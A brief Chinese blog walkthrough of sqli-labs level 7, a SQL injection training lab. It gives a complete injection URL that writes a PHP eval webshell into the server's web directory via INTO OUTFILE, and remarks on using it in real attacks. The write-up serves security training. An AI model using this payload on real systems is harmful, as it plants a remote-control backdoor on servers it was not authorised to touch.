数据库
首页 > 数据库> > 【靶场训练】sql-libs_less-7

【靶场训练】sql-libs_less-7

作者:互联网

less-6可用less-5的方法做,区别是less-6采用双引号闭合。

less-7 用into outfile向服务器写入webshell

http://192.168.48.149/sql/Less-7/?id=-1')) union select 1,"<?php eval(@$_POST['lq']); ?>" ,3 into outfile "C://wamp//www//sql//Less-7//1.php" -- lq

前提的知道网站绝对路径实战中

 

写入成功

连接成功

 

标签:Less,into,less,写入,outfile,sql,libs
来源: https://www.cnblogs.com/scjinjiang/p/16331886.html